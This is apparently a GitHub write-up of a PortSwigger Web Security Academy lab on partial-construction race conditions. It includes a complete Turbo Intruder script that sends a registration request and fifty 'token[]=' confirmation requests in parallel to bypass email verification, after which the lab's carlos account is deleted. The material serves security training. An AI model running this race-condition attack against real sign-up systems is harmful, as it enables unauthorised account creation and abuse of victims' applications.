portswigger-all-labs

Complete PortSwigger Web Security Academy Lab Writeups Detailed, categorized solutions for every lab — from APPRENTICE to EXPERT — covering all 30 vulnerability types.

View on GitHub

Labs Covered

This write-up focuses on the following EXPERT-level lab from the PortSwigger Web Security Academy related to Race Conditions:

6 Partial construction race conditions

This lab shows how attackers can interfere with the partial creation of resources by triggering requests at specific times, gaining access to incomplete or inconsistent resource states.

LAB 6 - Partial construction race conditions

Lab Description

image

Overview

Session-Based Locking and Partial Construction Race Conditions

Session-based locking mechanisms, such as PHP’s native session handler module, process one request per session at a time, which can mask vulnerabilities. To detect these issues, send requests with different session tokens when sequential processing is observed.

Partial construction race conditions occur in applications where objects are created in multiple steps, creating a temporary exploitable state. For example, during user registration, a window exists between creating the user in the database and initializing their API key. This allows potential exploits by injecting input values that match uninitialized database values.

Framework-specific syntax can be leveraged for such exploits:

Understanding these mechanisms is critical for identifying and mitigating security vulnerabilities.

Solution

1 Firstly, when we start lab we can see below page.

image

  1. The lab starts with a page that does not provide credentials. Attempt to create an account, but only emails with the @ginandjuice.shop domain are accepted.

image

  1. Create an account using an @ginandjuice.shop email

    image

4 Send the registration link to the email.

image

  1. Intercept the email registration process and send it to Burp Repeater.

    image

  2. We can see the email which we have used to create email.

    • Note the email used for registration. Only one username and email are valid per registration. For a second registration, use a different email and username.

      image

  3. Inspect the page and analyze the JavaScript to understand the token generation process.

    image

  4. The URL shows a “confirm” endpoint to verify the email.

    image

  5. Clicking the confirmation link results in an “Incorrect token” error.

    image

  6. Send the confirm email request from HTTP history to Repeater.

    image

  7. Testing with a random token yields an “Invalid token” error.

    image

  8. Using no token results in a “Forbidden” message.

    image

  9. Using an empty array (token[]=) results in an “Invalid Array” error, indicating the server accepts an empty array but performs server-side validation.

    image

  10. Group the registration and token confirmation requests in Repeater.

    image

  11. Sending them in parallel shows the token request reaches the server first, followed by the registration request, which is invalid since token generation and validation occur after registration.

    • Confirm request arrives first.

      image

    • Register request arrives later.

      image

16 . Send the registration request to Turbo Intruder.

image

  1. Select “Race Single Packet” and modify the request as needed.

    image

18 . Copy the headers from the confirm token request and remove unnecessary headers.

image

  1. Use the following modified code in Turbo Intruder:

image

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2)
    confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: phpsessionid=YOUR-SESSION-TOKEN
Content-Length: 0
'''
    for attempt in range(20):
        currentAttempt = str(attempt)
        username = 'User' + currentAttempt
        # Queue a single registration request
        engine.queue(target.req, username, gate=currentAttempt)
        # Queue 50 confirmation requests - note that this may be sent in two separate packets
        for i in range(50):
            engine.queue(confirmationReq, gate=currentAttempt)
        # Send all queued requests for this attempt
        engine.openGate(currentAttempt)

def handleResponse(req, interesting):
    table.add(req)

20 . Set %s on the username field to fuzz the username.

image

  1. The User4 (e.g., han4) account is successfully registered due to the race condition.

    image

  2. Log in with the han4 username and the password provided in the registration request.

    image

  3. Delete the carlos account, and the lab is solved.

    image